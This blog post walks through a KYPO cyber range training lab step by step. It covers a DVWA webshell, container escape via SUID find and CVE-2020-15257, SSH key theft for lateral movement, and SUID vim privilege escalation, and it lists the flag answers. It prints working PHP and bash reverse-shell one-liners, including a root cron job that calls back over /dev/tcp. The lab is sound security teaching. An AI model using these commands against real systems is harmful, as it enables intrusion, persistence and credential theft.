Introduction
KYPO Cyber Range Platform (KYPO CRP) is an open-sourced cyber range platform developed by Masaryk University since 2013, which enables teachers to create simple or complex cyber security experiments, leveraging the powerful functions of OpenStack, Ansible and Terraform.
To demonstrate its functions, KYPO has open-sourced some demo-trainings. Besides the official trainings, we have created a new KYPO training, so as to evaluate the extensibility of KYPO. This training is based on the cloud native attack scenario proposed in my another post. The resources for this training is available on GitHub.
In this training, you will have an awesome experience with challenges from different security fields. Exactly, there are four challenges: Web hacking, container breakout, lateral movement and privilege escalation.
This post will walk through this training step by step, detailing the related techniques.
TL;DR
The attack path should be like:
The Web service running in the container on victim-01 is DVWA, where lots of vulnerabilities are available. You can choose any way you like to hack it.
The container management tool containerd on victim-01 is vulnerable to CVE-2020-15257, you could exploit this vulnerability to escape. You could also exploit Linux kernel vulnerabilities like CVE-2021-22555 to escape as well. If your exploitation requires root privilege within the container, the find
tool is a set-uid program which could be leveraged to escalate privilege.
There is a hidden private key in the /root/
directory on victim-01 which helps you to log in victim-02 as victim
user.
There is a set-uid vim
on victim-02. You could use it to read or write any sensitive file.
Preparation
Firstly, we need to import this training in KYPO, create sandbox definition, allocate sandbox and instantiate the training.
After the training is imported, we can see it in the Linear Training Definition Overview page:
Then we create the sandbox definition and see it in the Sandbox Definition Overview page:
Now we create a sandbox pool. We can check the pool and allocate a sandbox in the Pool Overview page:
You can check whether the allocated sandbox is instantiated in the Pool Detail page:
Finally, we instantiate a training in the Linear Training Instance Overview page:
Access the training in the Training Run Overview page:
Now you must see the Introduction to Training NCL-APTX4869 level of this training:
All right. Let’s start hacking.
Access the Attacker Machine
In the Get Access level, we can download the SSH configuration files and connect to the attacker node:
➜ test-ssh ssh -F ./pool-id-32-sandbox-id-38-user-config attacker
Warning: Permanently added '192.168.200.216' (ECDSA) to the list of known hosts.
Warning: Permanently added '192.168.64.132' (ECDSA) to the list of known hosts.
Warning: Permanently added '10.1.26.23' (ECDSA) to the list of known hosts.
Linux attacker 5.18.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Debian 5.18.16-1kali1 (2022-08-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(user㉿attacker)-[~]
└─$
Actually, we can connect to the graphic interface through SSH-forwarded VNC and log in with credential kali/kali
:
ssh -L 127.0.0.1:5900:10.1.26.23:5900 -F ./pool-id-32-sandbox-id-38-user-config attacker
Great! Now we can hack the world from this node:
Web Hacking for the First Flag
Enter the Web Hacking level. By nmap 10.1.26.0/24
we find there is a HTTP service at 10.1.26.9:80. After visiting we find it is a DVWA service. Here we choose to upload a webshell generated by weevely3 onto DVWA:
python weevely.py generate 123456 webshell.php
Then connect to the webshell, read the first flag and submit it on the KYPO web page:
┌──(kali㉿attacker)-[~/pjts/weevely3]
└─$ python weevely.py http://10.1.26.9/hackable/uploads/webshell.php 123456
...
weevely> cat /etc/flag.txt
ncl{c0ngrats_4_YouR_F1r5T_P45s}
www-data@victim-01:/var/www/html/hackable/uploads $
Container Breakout for the Second Flag
Enter the Container Breakout level. Through the webshell we find the DVWA service is containerized:
www-data@victim-01:/var/www/html/hackable/uploads $ ls -al / | grep docker
-rwxr-xr-x 1 root root 0 Oct 19 06:15 .dockerenv
How can we escape from the container? There are lots of possibilities. First of all, we need to gather some userful environment information.
We find the kernel may be vulnerable to CVE-2021-22555:
www-data@victim-01:/var/www/html/hackable/uploads $ uname -a
Linux victim-01 5.8.0-48-generic #54~20.04.1-Ubuntu SMP Sat Mar 20 13:40:25 UTC 2021 x86_64 GNU/Linux
We also find that the current container shares host network namespace and seems vulnerable to CVE-2020-15257:
www-data@victim-01:/var/www/html/hackable/uploads $ cat /proc/net/unix | grep containerd | head -n 2
0000000000000000: 00000002 00000000 00010000 0001 01 42403 @/containerd-shim/moby/3466edd275c0cee772d9dda518e5058dcb07181d56404a6e0c0b4da03241f74a/shim.sock@
0000000000000000: 00000002 00000000 00010000 0001 01 37202 @/containerd-shim/moby/26f37d09eaa3336241206f218e3931e6d2d121a3dbd5d17774ab715e94dcd87e/shim.sock@
Maybe we can exploit these vulnerabilities to escape from this container! However, the current user we impersonate has little privilege:
www-data@victim-01:/ $ grep CapEff /proc/self/status
CapEff: 0000000000000000
We need to become root within this container to be able to exploit vulnerabilities above. The webshell is helpful to find SUID programs:
www-data@victim-01:/ $ :audit_suidsgid /
+-----------------------------------+
| ... |
| /usr/bin/find |
| ... |
+-----------------------------------+
find
is a SUID program! We can abuse it to get root privilege:
www-data@victim-01:/tmp $ touch xxx
www-data@victim-01:/tmp $ find xxx -exec id \;
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
Escape by Exploiting CVE-2021-22555
Good job. Now let’s try to exploit CVE-2021-22555 to escape. Get the exploit of CVE-2021-22555 from GitHub, compile it and upload the binary to the container through webshell. Run the exploit with root privilege in the container and we will get a root shell of the host! It is very simple so we won’t put details here.
Escape by Exploiting CVE-2020-15257
Now we talk about another way to escape from the container: exploitation of CVE-2022-15257. To exploit this vulnerability, we must get full root privilege. That is, the UID of our shell should be zero.
Luckily, we find there is a cron service running in the container:
www-data@victim-01:/tmp $ ps aux | grep cron
root 1208 0.0 0.1 28000 2312 ? Ss 06:16 0:00 /usr/sbin/cron
We can abuse cron to get a root shell. Firstly, we want a EUID reverse shell, so that we don’t have to run commands with find
any more. Set a reverse shell listener with nc
and spawn a reverse shell in PHP with find
:
www-data@victim-01:/tmp $ find xxx -exec php -r '$sock=fsockopen("10.1.26.23", 4444);exec("/bin/bash -i -p <&3 >&3 2>&3");' \;
We get the EUID root reverse shell. Now we can write down a reverse shell cron task and wait for the new reverse shell:
┌──(kali㉿attacker)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.1.26.23] from (UNKNOWN) [10.1.26.9] 38890
bash: cannot set terminal process group (302): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4# rm /bin/sh
rm /bin/sh
bash-4.4# ln -s /bin/bash /bin/sh
ln -s /bin/bash /bin/sh
bash-4.4# echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.26.23/4445 0>&1' > /var/spool/cron/crontabs/root
<.1.26.23/4445 0>&1' > /var/spool/cron/crontabs/root
bash-4.4# chmod 600 /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root
Awesome! We get the UID root shell:
┌──(kali㉿attacker)-[~/pjts/weevely3]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.1.26.23] from (UNKNOWN) [10.1.26.9] 36752
bash: cannot set terminal process group (1910): Inappropriate ioctl for device
bash: no job control in this shell
root@victim-01:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@victim-01:~#
Now we can just download a tool named CDK to exploit CVE-2020-15257:
root@victim-01:/tmp# ./cdk run shim-pwn reverse 10.1.26.23 4446
./cdk run shim-pwn reverse 10.1.26.23 4446
2022/10/19 08:25:10 trying to spawn shell to 10.1.26.23:4446
2022/10/19 08:25:10 try socket: @/containerd-shim/moby/3466edd275c0cee772d9dda518e5058dcb07181d56404a6e0c0b4da03241f74a/shim.sock
Finally, we achieve container breakout, get a root shell on the host and read the flag:
┌──(kali㉿attacker)-[~]
└─$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.1.26.23] from (UNKNOWN) [10.1.26.9] 57428
bash: cannot set terminal process group (4023): Inappropriate ioctl for device
bash: no job control in this shell
<e9db0db6498e795241450d88d5477a1/merged/cdk_WRiKm3# id
id
uid=0(root) gid=0(root) groups=0(root)
<e9db0db6498e795241450d88d5477a1/merged/cdk_WRiKm3# cat /etc/flag.txt
cat /etc/flag.txt
ncl{8luE_Pi1L_OR_RED_p1lL}
Lateral Movement for the Third Flag
Enter the Lateral Movement level. Remember that in the second level we find another server (victim-02) at 10.1.26.4 using nmap
. How can we attack this target?
Well, after some explorations, we find a private key in /root/.ssh
directory on victim-01 host:
root@victim-01:/root# cd /root/.ssh
cd /root/.ssh
root@victim-01:/root/.ssh# ls -al
ls -al
total 16
drwx------ 2 root root 4096 Oct 19 08:14 .
drwx------ 7 root root 4096 Oct 19 08:14 ..
-rw------- 1 root root 2622 Oct 19 08:14 .victim_02_isa
-rw------- 1 root root 1108 Oct 19 08:04 authorized_keys
We steal the private key, connect to victim-02 as victim
user successfully and read the third flag:
┌──(kali㉿attacker)-[~]
└─$ ssh -i ~/.ssh/victim_02 victim@10.1.26.4
The authenticity of host '10.1.26.4 (10.1.26.4)' can't be established.
ED25519 key fingerprint is SHA256:TxJnLYPKtX4unOgWbulx7ZvK0MmP6bW0tOltDepzC24.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
...
victim@victim-02:~$ ls
flag.txt
victim@victim-02:~$ cat flag.txt
ncl{1NTeR_5tE1L4r}
Privilege Escalation for the Last Flag
Enter the Privilege Escalation level. Now we are in victim-02 server. We can try to read /etc/flag.txt
but fail:
victim@victim-02:~$ cat /etc/flag.txt
cat: /etc/flag.txt: Permission denied
Once again, let’s search for SUID programs here. Finally, we find that vim
is a SUID program, and we can utilize it to read the flag:
victim@victim-02:~$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null | grep vim
-rwsr-xr-x 1 root root 2704360 Dec 25 2021 /usr/bin/vim.basic
victim@victim-02:~$ vim /etc/flag.txt # => ncl{VVH0_1S_4DmInI5tRAt0R}
Actually, we can use the SUID vim
to escalate privilege to root as well.
Summary
Now we have completed tasks in KYPO. Congrats! After you submit the last flag on the KYPO portal, the current training ends. You can see the results and statistics:
After designing and playing with this training, I find KYPO could be a useful tool for cybersecurity education. Students may like it. There will be another post which details how to create a training in KYPO.